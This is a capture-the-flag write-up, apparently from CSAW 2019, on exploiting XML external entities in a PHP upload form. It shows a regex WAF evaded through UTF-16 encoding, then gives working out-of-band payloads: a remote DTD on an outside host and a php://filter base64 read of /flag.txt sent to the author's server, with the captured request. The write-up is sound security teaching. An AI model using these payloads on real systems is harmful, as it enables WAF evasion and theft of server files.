XXE is the gift that keeps on giving. Unfortunately every attempt at
exploiting it requires lots of fiddling and this one is rather special
as there's not much helpful feedback from the application. Trying to
upload documents in the web application I've observed the following:
- The upload is successful, with an empty user list
- The upload is successful, with a non-empty user list
- The upload was blocked by the WAF
The first two are useful to tell whether you have a XML error
somewhere that prevents it from being processed. The last one is what
makes this challenge interesting. Experimenting a bit further, the
WAF seems to look for at least the following keywords anywhere in the
document:
- `SYSTEM`
- `ENTITY`
In other words, it doesn't actually parse the document to do its work,
but only performs a regex match. I consulted the official XML
grammars a bit to find a different way of writing these keywords, but
no luck. Some more searching gave me the idea of trying a different
encoding, UTF-16 turned out to be the way forward. The workflow for
performing this is somewhat ugly, as my preferred editor does too much
magic with file encodings I wrote the following in Vim, then used
`iconv -f UTF-8 -t UTF-16 < in.xml > out.xml`:
<?xml version='1.0' encoding='utf-16'?>
<!DOCTYPE users [
<!ENTITY rrr "XXE">
]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>&rrr;</name>
<email>
[email protected]</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>
[email protected]</email>
<group>CSAW2019</group>
</user>
</users>
This puts "XXE" into the name when uploaded. Unfortunately changing it
to put the contents of the flag doesn't work as the output is
truncated to 20 characters, so more fiddling is required for OOB
extraction. Here's the XML I've eventually settled on:
<?xml version='1.0' encoding='utf-16'?>
<!DOCTYPE users [
<!ENTITY % asd SYSTEM "
http://x32.be:10000/evil.dtd">
%asd;
%c;
]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>&rrr;</name>
<email>
[email protected]</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>
[email protected]</email>
<group>CSAW2019</group>
</user>
</users>
The corresponding `evil.dtd`:
<!ENTITY % d "xxe">
<!ENTITY % c "<!ENTITY rrr SYSTEM '
http://x32.be:10001/%d;'>">
Uploading the XML triggers a `GET /xxx` on a freshly spinned up HTTP
server listening on port 10001. Exfiltrating the file is finally in
reach, but fails on any of the usual candidates. I began suspecting
that file access works, but newlines in them make it fail. This can
be verified by leaking a file not containing a newline, such as
`/proc/self/sessionid`. The usual workaround of spinning up a fake
FTP server and using a `ftp://` URL didn't work. Eventually it dawned
on me that since this is PHP, stream wrappers can be used to encode
the file as base64:
<!ENTITY % d SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
<!ENTITY % c "<!ENTITY rrr SYSTEM '
http://x32.be:10001/%d;'>">
The incoming request looks as follows:
216.165.2.60 - - [15/Sep/2019 17:01:59] "GET /QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpmbGFne24wd19pJ21fc0BkX2N1el95MHVfZzN0X3RoM19mbDRnX2J1dF9jMG5ncjR0c30KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=
Here it is after decoding:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA